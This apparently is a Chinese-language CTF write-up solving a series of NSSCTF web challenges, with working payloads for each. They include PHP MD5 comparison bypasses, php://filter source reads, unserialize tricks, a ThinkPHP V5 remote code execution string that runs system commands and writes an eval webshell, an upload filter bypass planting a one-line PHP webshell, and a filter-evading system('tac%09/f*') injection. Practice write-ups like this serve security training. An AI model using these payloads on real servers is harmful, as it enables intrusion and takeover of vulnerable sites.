奇妙的MD5
進入靶場
然我們輸入一個特殊的字符串,然后我到處翻了翻,發現有提示
在MD5中有兩個特殊的字符串
0e215962017 ? ? ? //MD5加密后弱比較等于自身 ffifdyop ? ? ? ? //MD5加密后變成萬能密碼
這里明顯就是萬能密碼了
輸入之后就來到了這個頁面
源碼里面就有想要的線索
<!-- $x= $GET['x']; $y = $_GET['y']; if($x != $y && md5($x) == md5($y)){; -->
這個就是簡單的MD5弱比較
輸入?x=240610708&y=s878926199a即可
輸入之后又是一個代碼審計,這個就是強比較了,數組繞過即可
ez_ez_php
進入靶場
一個簡單的代碼審計
這個代碼的意思是說前三個字符必須要是php
那就用php偽協議
?file=php://filter/read=convert.base64-encode/resource=flag.php
先進行base64解密
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
?
?
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "換個思路,試試PHP偽協議呢";
解密出來是這個
然后提示說real_flag_is_in_'flag',那么payload
?file=php://filter/read=convert.base64-encode/resource=flag
base64解碼
NSSCTF{4be155fb-6428-4f0c-ae04-4adc2cb1199a}
ez_ez_unserialize
進入靶場
這個反序列化題主要是如何繞過__wake魔法函數
先將這個序列化
__wake魔法函數的觸發條件是在進行反序列化之前觸發,因此只需要修改參數就能繞過
payload
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_rce
這個題目沒什么好評價的,漏洞復現而已
先進入靶場
目錄掃描之后,發現robots.txt文件
進入之后發現新大陸
然后來到這個頁面
然后搜索ThinkPHP V5漏洞復現即可
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //這個指令可以用來命令執行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
//這個指令可以用來寫馬
連上蟻劍后
flag在/nss/ctf/flag/flag
Ez_upload
進入靶場
有一個文件上傳框
首先,直接上傳php文件
上傳png文件并抓個包試試
"你上傳的什么鬼?",這個應該是對Content-Type做了過濾,或者對內容做了過濾,先把內容全部刪掉測試Content-Type
也傳不上去,一頓測試之后發現filename=muma.png并且Content-Type為image/jpeg才能上傳
那么將一句話木馬傳進去
又出現了"換其他類型",那就是對內容做了過濾,嘗試之后發現對<?做了過濾,payload
<script language="php">eval($_POST['cmd']);</script>
上傳成功
但是怎么才能讓這個執行呢,后綴名不能為ph,那么就可以傳.hta文件,上傳之后用蟻劍連接muma.png即可
然后在終端輸入env即可出flag
funny_php
進入靶場
一上來就是長串的代碼審計
但是看了一會發現這個可以分幾部分,那么就一部分一部分的解題
第一部分
if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}
這個地方需要num小于等于3并且大于999999999,這個地方用科學計數法繞過就行
payload
?num=3e9
第二部分
if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}
這個地方需要讓str的值為NSSCTF,但是又將NSSCTF代替為空,雙寫繞過即可
payload
?str=NSSNSSCTFCTF
第三部分
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}
這個代碼看著很長,其實就是個弱比較,只要全是字符串就行
payload
md5_1=QNKCDZO&md5_2=240610708
funny_web
首先進入靶場
這個屬于一個簽到題
賬號:NSS
密碼:2122693401
進來之后簡單源碼審計,很簡單的過濾方法
輸入?num=12345a即可
js_sign
進入靶場
只有一個框,題目提示說看js文件
這里已經出現flag了,將這串數字去掉空格之后變為
3343431344215434452124331421311122125444113513341415
解碼之后
flag就出來了
最終答案
NSSCTF{fyoufindflagbytapcode}
numgame
進入靶場
我第一想法就是把這個點到20,但是加到16之后再加就直接跳到-20了,這個做法明顯不太理智,然后我想查看源代碼,然后可惡的出題人把右鍵和ctrl+u都給ban了
那就用view-source大法
view-source:http://node5.anna.nssctf.cn:21933/
查看js文件
在nssctf里面有一個base64加密后的文件
解密之后為NsScTf.php
進入這個頁面
這里過濾了n和c,但沒有大小寫過濾,先訪問hint2.php吧,題目提示與get相似的另一種請求,那應該就是post了
ps:在編程語言中,雙冒號運算符(::)可以用來訪問類的成員,包括靜態成員和非靜態成員
因此,以post的方式執行命令就行
payload
p=nss::ctf ? ? //表示訪問nss類下的ctf成員變量
執行之后他告訴我類是nss2,那就改一下payload即可
p=nss2::ctf
執行之后查看源碼就能得到flag
webdog1__start
這個題目還是挺有意思的,有許多的提示隱藏了
進入靶場
這里有兩種方向,查看源碼,又或者去掃目錄,首先走第一步,源碼里面有東西
if (isset($_GET['web'])) {$first=$_GET['web'];if ($first==md5($first))
MD5加密后與原來相同
那就是0e215962017
輸入?web=0e215962017
來到start.php頁面
將里面的所有地方都點過了,并沒有什么有用的地方,但網絡層給了提示
進來這個頁面后同樣網絡層又給了提示
進入F1l1l1l1l1lag.php目錄內,來到了最終的地方
進行源碼審計,利用點在eval,但是將空格和flag字符過濾了,空格可以用%09過濾,flag可以用通配符過濾
payload
?get=system('tac%09/f*');
第二種方法就是掃目錄
就可以跳過前兩步,直接進入robots.txt找答案了
里面是亂碼,亂碼修復即可
后面的步驟都是一樣了
1z_unserialize
進入靶場
這個是非常簡單的反序列化了
構造php
輸出結果為
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
ls的結果出來了,修改參數找flag就行,payload
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"tac /flag";}